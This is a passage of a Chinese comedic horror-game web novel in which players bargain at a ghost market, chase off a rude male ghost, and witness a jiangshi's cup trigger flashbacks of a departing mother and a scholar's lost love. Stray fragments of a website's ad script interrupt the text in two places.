叶詺啧啧称奇,恰好此时他接收到一道含着杀气的眼神,他问:“多少钱?” “20000冥币。”被天衣无缝的黑布包裹着的人形冷漠地吐出一个天文数字。 叶詺看不见他的眼睛,但是他看得见这个镯子:“200!” 什么?!这就是超越了最顶级的对半砍价的……顶级中的顶级的,缩小一百倍砍价法! “你看看这镯子,这里都有裂痕了,还有这里……”叶詺喋喋不休寻找着镯子上的瑕疵。 这是一场真正的战役,只要找出的问题越多,那么最终成交的价格就越低! “好的,200。” 糟了!亏大了,看人形黑布答应得那么爽快,叶詺后悔极了。 他试探性地问:“100?” 人形黑布中散发出一股浓浓的不详气息。 叶詺疯狂摇头:“不不不,200就200。” 他从宋须满摊位上顺来的钱中抽出200冥币。 毕竟他为宋须满摊大饼和收钱,这些都是他应得的。 叶詺心满意足收好镯子,不远处却传来一阵喧闹声。 他好奇地走近,发现了宋须满和僵尸。 那僵尸正抱着什么东西不撒手,宋须满和一个人吵着什么。 “这是我们先拿到的!”宋须满将僵尸挡在身后。 “胡说,我先看到的!”对面那人伸手就要抢夺僵尸手上的东西。 “干什么干什么!”朋友有难不能不帮,叶詺突破人群的重围,跳了出去。 此刻的他,就像武侠小说中路见不平拔刀相助的大侠一样帅气。 当然,除了他自己,根本没有人在乎,在场的人里面,有0个人在乎。 围观群众的目光牢牢锁在了缠斗起来的宋须满和那人,只分给叶詺一个余光。 叶詺尴尬地将目光转向僵尸,他手中的东西熠熠生辉。 [永生花:一个杯子,却叫永生花。真是倒反天罡!怎么能抢其他物的名字呢?其实你不知道,它刚开始还想叫…… 品质:SS 说明:“你知道回忆像什么吗?像永生花。美丽却又脆弱,指不定什么时候还要褪色呢。”“那又怎么了,我们不就是靠着这无用的东西活着吗?”喝下这杯液体吧,你会忆起永生花。 预计可售卖价格:100000积分] 叶詺倒吸一口凉气,几乎要被那五个0亮瞎了眼。 他迅速冲了过去将扭打的二人分开。 将宋须满护在身后,他对着那人:“怎么还上手了?” 等等,这个样子有点眼熟,似乎在哪里见过。 “找个男士鬼……不是,自恋鬼?”他想起来了,这是刚刚开业时来找宋须满的第一个顾客。 那个认为女鬼对他有意思的男鬼,最后被宋须满一针见血地建议找个男的一起吃香的鬼。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 男鬼像头愤怒的野牛:“什么垃圾咨询师?!我对男鬼一点都不感兴趣!” 那真可惜,看来他已经尝试过了。 “我还是忘不了她,虽然她是个女鬼,而我是男鬼,但是我可以接纳她。”男鬼咬着牙,仿佛做出了很大牺牲。 “我为她付出这么多!”男鬼义愤填膺。 “比如?” “比如我已经想好了以后要为了她多赚冥币!甚至想用这个杯子来回忆起她对我有意思的每一个瞬间。”男鬼骄傲道。 “真是个痴情的好鬼啊!” “他真的好爱!” “他甚至为了她来抢夺这个没什么用的永生花!这可是最不值钱的东西。” 围观的几个鬼开始捧场。 “什么?最不值钱!”叶詺一个闪身瞬移到了那位围观群鬼前面。 “呃……”那鬼被吓了一跳,“对于鬼来说,回忆是最没用的东西啦。” 永生花能让人回忆,但是鬼最不需要回忆。 毕竟他们的鬼生太过漫长,拥有足够的回忆可以忘记,多的东西,总是不值钱的。 无论是人界还是鬼界,这都是永恒不变的真理。 “咣——”叶詺被吓了一跳。 宋须满实在是忍无可忍,她将大饼砸在男鬼头上。 这种鬼脑子里就烂透了,和他好好说话是不行了。宋须满觉得他就是智障,也许智障程度没有严重到生活不能自理的程度,但是也不算很轻了。 宋须满将大饼狠狠嵌在那鬼头里,然后继续在脑海中的大饼上画着什么。 她画了什么呢?她画了一包卫生巾! 然后在场所有人和鬼,看见宋须满撕开包装袋,将一片卫生巾贴在男鬼脸上。 男鬼疯狂尖叫,反应比头镶嵌大饼还要激烈:“这是什么?这就是女人用的东西吗?太脏了!这会克死我的!” “是的。”宋须满顺手又贴了一片在他头上,“会克死你这个脆弱的男士的。” “不仅如此,我今天还赚了五位数,这么厉害的女士亲手贴你脸上的卫生巾,那可不是克上加克吗?”宋须满继续刺激着他,“收拾收拾准备吃席吧。” 男鬼尖叫着跑走了。 围观群鬼一片静默,直到有人弱弱开口:“是不是有点太过分了?他只是个快要八百岁的男鬼啊!” 这是不是有点过分了,这阴间怎么这么像阳间呢? 别误会,这就是纯拉踩,平等地拉踩阴阳两间。 宋须满有点无语了,她发自内心感到累。 心累地回头一看,原本铺着块布的地方空空如也,小贩已经卷起铺盖跑了。 僵尸死死抱着永生花,生怕被人抢走。 这下真是想付钱都没地方付了,宋须满高兴(划掉),遗憾地想。 她将剩下的卫生巾塞给一位女鬼,女鬼受宠若惊:“谢谢!” 既然鬼都能生孩子,那鬼能来月经,应该也是很正常的事情吧。 宋须满是这么想的,不过鬼和人的身体构造不一样,其实这也不一定,那是一种她不了解的东西。 管他呢,就算用不上,那也是一件好事,真的会有人喜欢每个月流血那么几天吗? 总能找到能用的地方…… 比如贴在某些没礼貌的智障鬼脸上。 38. 深夜小吃街(十八) 叶詺买到了镯子,宋须满赶跑了智障鬼,僵尸拿到了“永生花”。 真是皆大欢喜的结局! 宋须满对死死抱着杯子的僵尸说:“我们要怎么回去?” 僵尸抬头看了看天上的明月:“时间,没到。” 宋须满想起他们跳下井之前,僵尸也抬头朝天上看了看,原来是在看月亮。 不过她左看右看,月亮都是一样的,也不知道他是靠什么判断的。 有句古话说得好,“来都来了”。 既然现在还不能走,那逛逛也是好的。 叶詺暂时充当了这个向导的功能,仅仅是因为他实在是太活跃了,一会儿往左跑,一会儿往右跑。 宋须满和僵尸已经没什么目的地了,就跟着叶詺到处乱跑。 宋须满好像自带那个屏蔽功能。 她的五米内,必定形成一个针对男鬼的透明屏障。 这可不是乱说啊,根据大量的实验证明,每当宋须满靠近一个摊位,正在看货物的男鬼必定蹿出五米远。 “满姐……他们好像都怕你诶!”显然,叶詺也发现了这一规律。 他愿称之为“宋须满第二定律”。 至于第一定律是什么…… “这就是我的勋章!”宋须满一脸骄傲,对这半径五米的无形勋章非常得意。 叶詺不在“勋章”的排除范围内,在男鬼跑了之后,他若无其事地拿起摊上的物品看了起来。 僵尸抬头看月亮:“到了。” 宋须满知道是什么到了,但是她怀疑叶詺不知道,因为他还拿着不知什么东西在那神神叨叨。 “不走,等下次!”僵尸留下这句话,飞速向着来时的方向跳。 宋须满给他翻译:“现在不走,就要等鬼市下次开启才能走。” 话毕,宋须满自己愣了一下。 什么时候,她竟然能直接听懂僵尸的话了。 … 来时是望不见底,现在是望不到头。 宋须满看着那头顶那一片漆黑,非常好奇他们到底该怎么回去。 不会是直接蹦回去吧? 这个荒谬的想法只在她的脑海中存在了短短一瞬,毕竟这也太荒谬了。 宋须满期待地看着僵尸,他会怎么做?会画出一个传送符吗?还是利用什么道具? 僵尸的双手稳稳拿着杯子,他深吸一口气,双腿微微下曲。 非常好!是一个标准的马步,看来他要放大招了! 僵尸的双手仍然握着拿着杯子,他又往下蹲了蹲,这是个什么动作?宋须满疑惑了一会,不过很快她就解开了疑惑,也许这才是标准的僵尸马步呢! 僵尸已经蹲到底了,在宋须满期待的目光下,他然后像个弹簧一样,向上蹦了出去。 眼看那么大一个僵尸和尽头的黑暗渐渐融为一体,宋须满感到迷惑。 她那么大一个僵尸老板呢? 巨大的迷惑挤进她的脑袋,分解成无数个问号盘旋在她的脑海。 在叶詺看来,宋须满只是呆站在原地仰着头看着僵尸消失的地方一动不动。 虽然叶詺对这种操作也是非常震惊,不过他的反应没有宋须满那么大。 他从兜里掏出两张符咒。 【玩家叶詺使用道具[传传传送符]。】 [传传传送符:这原本叫传送符的,只是取名字的人有点口吃,没想到登记的人更是个白痴!这么明显的口吃都没看出来! 说明:他这么说一定有他的深意,说不定这不是一张普普通通的传送符,而是能一连传送三次的传送符呢?一定是这样,相信的力量是强大的,谁能想到,它真的拥有比一般传送符远三倍的距离呢?] “传传……传送符?!”额头上被贴了个符的宋须满惊讶道。 “就鬼市淘来的。”叶詺骄傲得像个金色孔雀。 【即将开始传送,请玩家做好准备。三,二……一!】 宋须满只感觉眼前一花又一黑,整个人像随着云朵漂浮,摇摇晃晃晕晕乎乎。 等晕眩感消失,她已经站在没有井盖的破井旁边了。 没想到僵尸还没走,宋须满还以为他拿到了想要的东西,并且快人一步,一定会先走的。 僵尸捏紧了杯子:“抢,害怕。” 原来是之前被抢的经历让他不敢一个人行动。 “那你还自己上来?”宋须满看着僵尸,僵尸则一脸迷惑。 叶詺在一旁捂着嘴在克制着什么。 “不是吧,你连传送都晕!”宋须满发出了不可置信的声音。 虽然她也是第一次体验传送,不过她知道有人晕车,有人晕船,这还是她第一次知道有人晕传送。 非常好恐怖游戏,使她增长见识。 僵尸先生掏出一沓水灵灵的钱,接着这沓钱水灵灵地出现在宋须满手中。 宋须满:! 她换上水灵灵的笑容:“僵老板有何吩咐?” 僵尸点点头:“保驾,护航。” “噗——”突兀的笑声响起,宋须满怒视着发出不合时宜笑声的叶詺。 “虽然我们僵老板这话说的有点时代感,但是你也不能这么嘲笑他!”毕竟他是个传统僵尸,而不是什么新时代摩登僵尸。 叶詺双手捂嘴,浑身颤抖:“我只是想到高兴的事情。” 宋须满面色古怪,但大度的僵尸老板显然不和他计较。 他蹦蹦跳跳朝着宋须满的大饼摊去了,熟悉得就像他自己家一样。 怎么不算呢?自从宋须满来这摆摊,有几次是他不在的? 僵尸仰起头,将杯子中的液体往嘴里倒,也不知道是他没有吞咽还是杯里的液体太多。 金黄色的液体沿着杯壁和他的嘴角向下流淌。 或许还滑过了他锋利的下颌线,毕竟他可是僵尸,下颌线清不清晰不好说,但是锋利是肯定的。 那液体有生命一样,没有静静躺在地上装死,反而飘荡起来,像水环一样围绕在一切活物周围。 一颗小水珠悄悄脱离了水环的大部队,轻轻蹭上了宋须满的脸颊。 … 女人拉着镶着纯金的行李箱头也不回地走出别墅。 风很大,大风吹得她的长卷发乱飞,一向对大风的容忍度很低的她并没有像往常那样咋咋呼呼地指责风吹乱了她的发型。 “不要忘记我,宋须满。妈妈会一直陪在你身边的……”这是她留下的最后一句话。 宋须满企图去追赶女 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人的背影,可惜她迈出的步伐是那样小,她稚嫩的双手握不住一片衣角。 “妈妈!”宋须满伸着手大喊着,脚边的石头却绊倒了她,女人的背影自此消失在她的生活中。 再也没有出现过。 … 僵尸先生原不叫僵尸的,他有自己的名字,可惜他早就遗忘了。 他不止会蹦蹦跳跳,他记得他会走会跑,可惜他也遗忘了。 他不仅会一个词一个词地说话,他能长篇大论从太阳升起说到太阳落下。他针砭时弊,他满腹经纶。 这使得他一度前途无量,甚至坐上了自己曾经想都不敢想的位置。 可惜他全然忘记了。 不过这也不完全怪他,毕竟变成僵尸后的漫长鬼生已经将人类时的记忆稀释得很淡很淡。 他不记得他的名字、他的来历,他只隐约记得记忆中那一双温柔的眸子。 艳阳高照时微眯着却仍然倒映着模具里白白嫩嫩豆腐的眸子,黑夜到来时撒满了星辰倒映着微晃烛光的眸子。 眼睛在说话,伴随着豆腐的清香:“江大哥,你真要去么?” 他坚定地裹紧了包裹,里面有早已看了八百遍的书,还有眼睛主人卖豆腐得来的银子。 沉甸甸的,不知为何,他有些直不起腰来。 “我生来就是做这个的。”这个时代不好,掌权者坐拥金银,老百姓却颠沛流离。 他有才华,自然有抱负,他不甘心困于这一方小小的天地内。他要考取功名,取得权力,改变这时局。 即使是暂时离开生他养他的家乡,暂时离开了温柔的卖豆腐姑娘。 这些都是暂时的,他安慰着自己。 “等我回来,我们就拜堂。”卖豆腐姑娘的脸瞬间变得通红,她用温柔的眸子看着他,很认真地看着他。 那年,江姓少年告别了自己的心上人,怀揣着一颗真心,一往无前地踏上了不归路。 他一个无名的杂草居然在京城这样盘踞着千年大树的地方生存了下来。 不仅如此,甚至扎了根。 杂草越来越茂密,大树感觉到危险,它们的生存空间变小了。 他从未丢弃出发时的真心,也从未忘却过姑娘温柔的眼眸和空气中弥漫着的黄豆香。 即使在口鼻被最后一铲泥土盖住时,他也没有忘记。 但奇怪的是,他一个一生都在追寻权力的人,在最后的时刻里,想起的不是喝酒吃肉的达官显贵,不是穷困潦倒的平民百姓。 而是出发前姑娘清澈的,倒映着他影子的,温柔的眸子。 “玉娘!”最后时刻,他想起了她的名字。 … 叶詺迟疑地看着眼前这有点超出他认知的一幕。 宋须满向着僵尸的方向伸着手,双眼无神地大喊“妈妈”,然后倒地不起。 僵尸直愣愣地站着,杯子掉在脚边,发出清脆的声响,他向着宋须满的方向伸手,大喊“玉娘”,随后也倒地不起。 叶詺看着两个倒地不起的人,瞪大了双眼,张大了嘴巴。 他好像,发现了什么不得了的事情。 那就是…… 僵尸居然是宋须满的妈妈! 他可真是个推理小天才!